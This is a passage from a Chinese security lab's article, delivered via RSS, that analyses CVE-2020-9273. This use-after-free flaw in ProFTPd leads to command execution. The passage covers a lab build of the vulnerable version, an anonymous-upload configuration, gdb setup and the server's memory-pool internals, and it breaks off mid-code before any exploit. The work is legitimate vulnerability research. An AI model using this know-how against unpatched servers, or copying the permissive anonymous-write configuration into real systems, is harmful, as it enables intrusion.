<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>天玄安全实验室</title>
    <link>https://wechat2rss.xlab.app/feed/6756212c81a850d9ee50d69cb4036b6a6f70f31b.xml</link>
    <description>无极实验室专注于系统与应用漏洞利用及对抗技术的研究，重点包括Windows、Linux、国产化操作系统内核及常用软件的漏洞利用、防护机制绕过以及漏洞挖掘等。通过漏洞利用与挖掘相互结合、优势互补，打通了从漏洞挖掘到利用以及对抗的完整链路&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (天玄安全实验室)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6ia6YnBp7D6K4T90T8ibrb9nSDDQDWGsmZQc8MNKuPk1FA/0</url>
      <title>天玄安全实验室</title>
      <link>https://wechat2rss.xlab.app/feed/6756212c81a850d9ee50d69cb4036b6a6f70f31b.xml</link>
    </image>
    <item>
      <title>CVE-2020-9273 ProFTPd RCE漏洞分析与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485350&amp;idx=1&amp;sn=6a74e0ed8c87f7b1f08a66c059768a8c</link>
      <description>漏洞描述：UAF类型的漏洞，通过伪造pool_rec内存池控制结构，可以篡改函数指针，从而达到任意命令执行。</description>
      <content:encoded><![CDATA[<p>
原创 <span>knaithe</span> <span>2022-12-01 12:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>漏洞描述：UAF类型的漏洞，通过伪造pool_rec内存池控制结构，可以篡改函数指针，从而达到任意命令执行。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=787b0b33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSrOlRAuBHVBvoRcZibW2FOqj66Eo7jviaxTBDf17kucBNQsD2EqWtj07Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><strong>漏洞描述</strong>：UAF类型的漏洞，通过伪造pool_rec内存池控制结构，可以篡改函数指针，从而达到任意命令执行。<br/><strong>漏洞修复</strong>：<a href="https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49" target="_blank">https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49</a><br/><strong>影响版本</strong>：小于v1.3.7rc3<br/><strong>测试版本</strong>：v1.3.7rc2<br/><strong>保护机制</strong>：Canary/NX/Full RelRO（ubuntu 18.04版本）<br/></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">环境搭建</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>调试环境/目标机器</strong>：ubuntu 18.04</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>ProFTPd源码编译及部署</strong>：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">// 安装依赖<br/>apt-get install -y build-essential net-tools git <br/>// 源码下载<br/>git <span style="color: #e6c07b;line-height: 26px;">clone</span> <a href="https://github.com/proftpd/proftpd.git" target="_blank">https://github.com/proftpd/proftpd.git</a><br/>// 切换到存在漏洞分支<br/>git checkout -b 1.3.7rc2 v1.3.7rc2<br/>// 生成Makefile文件,带gdb调试信息<br/>./configure CFLAGS=<span style="color: #98c379;line-height: 26px;">&#34;-ggdb -O0&#34;</span> --with-modules=mod_copy --prefix=/usr --<span style="color: #e6c07b;line-height: 26px;">enable</span>-openssl<br/>// 编译<br/>make -j4<br/>// 打包<br/>apt install -y checkinstall<br/>// 含debug信息<br/>checkinstall -D \<br/>--pkgname=<span style="color: #98c379;line-height: 26px;">&#39;ProFTPd&#39;</span> \<br/>--pkgversion=<span style="color: #98c379;line-height: 26px;">&#34;1.3.7rc2&#34;</span> \<br/>--maintainer=<span style="color: #98c379;line-height: 26px;">&#34;yuanyue@qianxin.com&#34;</span> \<br/>--install=no \<br/>--strip=no \<br/>--stripso=no<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>创建匿名用户</strong>：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">groupadd ftp <span style="color: #5c6370;font-style: italic;line-height: 26px;">#添加ftp组</span><br/>useradd ftp -g ftp -d /var/ftp <span style="color: #5c6370;font-style: italic;line-height: 26px;">#添加ftp用户</span><br/>passwd ftp <span style="color: #5c6370;font-style: italic;line-height: 26px;">#设置匿名ftp用户密码为ftp</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>proftpd.conf匿名登录配置</strong>：如果没有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/usr/etc/proftpd.conf</code>这个文件，将以下内容写入。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"># This is a basic ProFTPD configuration file (rename it to </span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># &#39;proftpd.conf&#39; for actual use.  It establishes a single server</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># and a single anonymous login.  It assumes that you have a user/group</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># &#34;nobody&#34; and &#34;ftp&#34; for normal operation and anon.</span><br/>ServerName   <span style="color: #98c379;line-height: 26px;">&#34;ProFTPD Default Installation&#34;</span><br/>ServerType   standalone<br/>DefaultServer   on<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># Port 21 is the standard FTP port.</span><br/>Port    21<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># Umask 022 is a good standard umask to prevent new dirs and files</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># from being group and world writable.</span><br/>Umask    022<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># To prevent DoS attacks, set the maximum number of child processes</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># to 30.  If you need to allow more than 30 concurrent connections</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># at once, simply increase this value.  Note that this ONLY works</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># in standalone mode, in inetd mode you should use an inetd server</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># that allows you to limit maximum number of processes per service</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># (such as xinetd).</span><br/>MaxInstances   30<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># Set the user and group under which the server will run.</span><br/>User    nobody<br/>Group    nogroup<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># To cause every FTP user to be &#34;jailed&#34; (chrooted) into their home</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># directory, uncomment this line.</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">#DefaultRoot ~</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># Normally, we want files to be overwriteable.</span><br/>&lt;Directory /&gt;<br/>  AllowOverwrite  on<br/>&lt;/Directory&gt;<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># A basic anonymous configuration, no upload directories.  If you do not</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"># want anonymous users, simply delete this entire &lt;Anonymous&gt; section.</span><br/>&lt;Anonymous ~ftp&gt;<br/>  User    ftp<br/>  Group    ftp<br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># We want clients to be able to login with &#34;anonymous&#34; as well as &#34;ftp&#34;</span><br/>  UserAlias   anonymous ftp<br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># Limit the maximum number of anonymous logins</span><br/>  MaxClients   10<br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># We want &#39;welcome.msg&#39; displayed at login, and &#39;.message&#39; displayed</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># in each newly chdired directory.</span><br/>  DisplayLogin   welcome.msg<br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#DisplayFirstChdir  .message</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># Limit WRITE everywhere in the anonymous chroot</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#&lt;Limit WRITE&gt;</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#  DenyAll</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#&lt;/Limit&gt;</span><br/>&lt;/Anonymous&gt;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">/usr/etc/proftpd.conf</code>这个文件，则注释掉下面三行配置，允许匿名用户上传文件。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#&lt;Limit WRITE&gt;</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#  DenyAll</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">#&lt;/Limit&gt;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>启动proftpd服务</strong>：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">// 直接执行<br/>/usr/sbin/proftpd<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>gdb调试</strong>：关闭系统ASLR，同时注释掉exp里绕获取maps的连接的线程，让proftpd第一个子进程就是漏洞进程，暂时没有找到其它方法在多个子进程里打断点。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">gdb /usr/sbin/proftpd \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;set detach-on-fork on&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;set follow-fork-mode child&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;set breakpoint pending on&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;b xfer_stor&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;b pr_data_xfer&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;b pr_data_abort&#34;</span> \<br/> -ex <span style="color: #98c379;line-height: 26px;">&#34;b _exit&#34;</span><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">漏洞分析</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>ProFTPD介绍<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">proftpd服务全程是Professional FTP daemon，是目前最为流行的FTP服务软件，相比于vsfptd，proftpd配置灵活，可配置选项更多，支持匿名、虚拟主机等多种环境部署，proftpd对中文环境兼容比vsftpd要好，相对于vsftpd使用效率要高很多，但是proftpd安全性相较vsfptd差一点。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制，根据proftpd自己的文档描述，该alloc_pool机制源于apache的开源项目，至于是源于apache哪个开源项目，proftpd文档里并没有说明，我也没有在apache的项目里找到该内存池源码，毕竟apache的项目成千上万。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7327080890973037" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=2cb88a51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMStdvvcAWq2UtKajQpCibZuZ2hqscJF4WibRY0UVia5VsOfIDhtTFiaPSmLg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>内存池分配器介绍<span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>关键结构<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">#define CLICK_SZ (sizeof(union align))</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">CLICK_SZ</code>是一个宏，代表内存对齐的长度，64位系统的值为8。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>block_hdr<span style="display: none;"></span></h5><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">union block_hdr {<br/>  union align a;<br/>  /* Padding */<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">#if defined(_LP64) || defined(__LP64__)</span><br/>  char pad[32];<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">#endif</span><br/>  /* Actual header */<br/>  struct {<br/>    void *endp;<br/>    union block_hdr *next;<br/>    void *first_avail;<br/>  } h;<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每一个通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">alloc_pool()</code>或者<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">make_sub_pool()</code>函数分配的内存块，都一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">union block_hdr</code>，是用来描述当前内存块的状态。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h-&gt;endp：指向当前内存块的末尾地址。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h-&gt;next：指向内存块链表的下一个内存块。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">h-&gt;first_avail：指向当前内存块空闲区域的首地址。</section></li></ul><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>pool_rec<span style="display: none;"></span></h5><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">struct pool_rec {<br/>  union block_hdr *first;<br/>  union block_hdr *last;<br/>  struct cleanup *cleanups;<br/>  struct pool_rec *sub_pools;<br/>  struct pool_rec *sub_next;<br/>  struct pool_rec *sub_prev;<br/>  struct pool_rec *parent;<br/>  char *free_first_avail;<br/>  const char *tag;<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">struct pool_rec</code>是用来记录每一个pool状态的结构，关键成员变量的含义描述如下。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">first：当前pool链表中，第一个pool的指针。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">last：当前pool链表中，最后一个pool的指针。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">cleanups：指向cleanup_t结构体，该结构体在释放pool时会用到。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">sub_pools：指向当前pool的sub pool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">sub_next：指向当前pool的后一个pool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">sub_prev：指向当前pool的前一个pool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">parent：指向当前pool的父pool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">free_first_avail：指向当前pool内存块的可分配首地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">tag：可以理解为pool的标签或者名称，比如session pool、table pool。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>关键函数<span style="display: none;"></span></h4><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>alloc_pool<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列<strong>内存分配函数的底层核心函数</strong>，这些函数只对alloc_pool()函数做了简单的封装，我们还是重点介绍alloc_pool()核心函数。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeKxYHw4JNIVopFL4SrlUPicdmxX39vGiblFRyH3wJRO66icPk9Hc0YJzAT6mcHwkVZQLBLsCzNQSI0cL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {<br/>  // 根据请求分配内存大小reqsz的值，按CLICK_SZ对齐计算所需内存大小sz<br/>  /* Round up requested size to an even number of aligned units */<br/>  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);<br/>  size_t sz = nclicks * CLICK_SZ;<br/>  union block_hdr *blok;<br/>  char *first_avail, *new_first_avail;<br/>  /* For performance, see <span style="color: #c678dd;line-height: 26px;">if</span> space is available <span style="color: #c678dd;line-height: 26px;">in</span> the most recently<br/>   * allocated block.<br/>   */<br/>  // 从pool中取出最近可用的内存块，如果该pool为空，则函数返回NULL<br/>  blok = p-&gt;last;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (blok == NULL) {<br/>    errno = EINVAL;<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> NULL;<br/>  }<br/>  // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail<br/>  first_avail = blok-&gt;h.first_avail;<br/>  // 如果请求分配内存大小reqsz为0，函数直接返回NULL<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (reqsz == 0) {<br/>    /* Don<span style="color: #98c379;line-height: 26px;">&#39;t try to allocate memory of zero length.<br/>     *<br/>     * This should NOT happen normally; if it does, by returning NULL we<br/>     * almost guarantee a null pointer dereference.<br/>     */<br/>    errno = EINVAL;<br/>    return NULL;<br/>  }<br/>  // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址<br/>  new_first_avail = first_avail + sz;<br/>  // 